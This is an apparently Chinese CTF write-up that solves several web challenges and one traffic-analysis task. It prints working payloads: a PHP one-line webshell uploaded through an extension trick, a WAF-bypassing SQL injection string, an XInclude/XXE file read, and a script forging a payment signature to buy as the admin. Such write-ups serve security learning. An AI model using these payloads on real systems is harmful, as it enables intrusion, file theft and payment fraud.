Web
手速要快
打开给了个登录框要密码。密码在消息头里就给出了。

登陆后要上传文件:

上传个一句话木马上去:
$ cat 1.jpg
<?php @eval($_POST['h']);?>
在bp里改成1.php.jpg
后上传成功:

可以看到已经getshell:

flag
在上一级目录里:
easy audit
打开给了一串随机数,并告诉有一些有趣的方法在flag.php
里。F12查看源码提示了index.php?func1
:

在URL里尝试
?func1=phpinfo
。返回了phpinfo
的页面:
这题的考察点就是PHP内置的函数、变量。可以参考这篇文章:https://www.jb51.net/article/42890.htm。
输入
?func1=get_defined_functions
,可以找到一个jam_source_ctf_flag
方法。
调用
?func1=jam_source_ctf_flag
就得到了flag.php
的源码:
<?php
//include 'real_flag.php';
function jam_source_ctf_flag(){
echo file_get_contents('flag.php');
}
class jam_flag{
public $a;
function __construct(){
$this->a = isset($_GET['a'])?$_GET['a']:'123';
}
function gen_str($m=6){
$str = '';
$str_list = 'abcdefghijklmnopqrstuvwxyz';
for($i=0;$i<$m;$i++){
$str .= $str_list[rand(0,strlen($str_list)-1)];
}
return $str;
}
function GiveYouTheFlag(){
include 'real_flag.php';
$secret = $this->gen_str();
//echo $secret;
if($secret === $this->a){
echo $real_flag;//echo $flag
}
}
function __invoke(){
echo 'want to use me?';
$this->GiveYouTheFlag();
}
}
echo rand().'<br>';
$_flag = new jam_flag;
if(isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'){
include 'real_flag.php';
$_flag->GiveYouTheFlag();
}
?>
这里满足$secret === $this->a
和$_POST['flag'] === 'I want the flag')
就能得到flag了。
最后payload:
?func1=get_defined_vars
POST:
flag=I want the flag

xxx,你觉得有问题的地方都试试呀
测试后,在article.php?id=3
可能存在sql注入。

看一叶飘零大佬的博客:http://skysec.top/2018/02/02/skysql%E4%B9%8Bunion%E7%BB%95waf/
union select
一起的时候被过滤了,可以构造union%0bselect
来绕过。逗号被过滤了,能通过笛卡儿积来绕过。最后的payload为:
?id=-1' union%0bselect * from (select 1)x join (select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union%0bselect * from flag)i limit 1 offset 1)y join (select 3)k join (select 3)l-- 1

告诉了flag在
/home/fff123aggg
里。这里就要用XXE来读取文件了。
最后利用
payload
:
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///home/f
ff123aggg" parse="text"/>
</root>

Shop
题目给了源码。
这是一个django的占,最主要出问题的部分就是在提交订单时候发送的:
@csrf_exempt
def checkPayment(request):
# print(request.body)
ret = {'result': '未知错误', 'status': 'danger'}
sign = request.GET.get('signature', '')
if md5(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + request.body).hexdigest() == sign:
o = get_object_or_404(Order, id=request.POST.get('order_id'))
g = get_object_or_404(Good, id=request.POST.get('good_id'))
u = get_object_or_404(User, id=request.POST.get('buyer_id'))
# 检查订单是否为待支付状态
if o.status != Order.ONGOING:
ret['result'] = f'订单 {o.id} 状态异常,可能已完成或已取消'
# 检查商品是否可购买
elif g.available != True or g.amount <= 0:
ret['result'] = f'商品 {g.id} 暂时不可购买,可能库存不足'
# 检查用户可用积分是否足够
elif u.profile.point < g.price:
ret['result'] = f'用户 {u.username} 可用积分不足,无法完成支付'
else:
if u.is_staff != True:
u.profile.point -= g.price
u.save()
g.amount -= 1
if g.name == 'FLAG':
o.message = REAL_FLAG
else:
o.message = f'fake_flag{{{md5(urandom(32)).hexdigest()}}}<br>(购买“FLAG”才能获得真正的 flag)'
if g.amount <= randint(0, 100):
g.amount += randint(100, 200)
g.save()
o.status = Order.FINISHED
o.save()
ret['result'] = f'订单 {o.id} 支付成功!'
ret['status'] = 'success'
else:
ret['result'] = '签名不正确,数据可能被篡改!'
return render(request, 'payment/result.html', ret)
查看数据库可以得到管理员有3w积分,所以要通过管理员来购买flag。
可以在secret.key
中找到key=zhinianyuxin
,即RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE=zhinianyuxin
。
这里先买一个普通商品

通过篡改
signature
、byer_id
、order_id
。篡改签名脚本:
import hashlib
form = {
'order_id': '120',
'buyer_id': '16', # 管理员ID
'good_id': '38', # flag商品的ID
'buyer_point': '300',
'good_price': '50',
'order_create_time': '1541609976.755452'
}
RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = 'zhinianyuxin\n'.encode('utf-8')
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
sign = hashlib.md5(str2sign).hexdigest()
print(sign)
相应地修改signature
、byer_id
、order_id
。
得到flag:

misc
未知流量
用winhex打开可以看到是两个流量包,改后缀为test1.pcap
和test2.pcap
。用wireshark打开。
看到test1
里有ssl加密的流量:

进
test2
,看到一些usb流量。找到一个字节大的usb流量包,右键->显示字节流,猜测应该是SSL加密后的流量。

保存为
ssl.log
。重新回到
test1
,导入刚刚保存的ssl.log
。
查看http流量就能找到flag了。

网友评论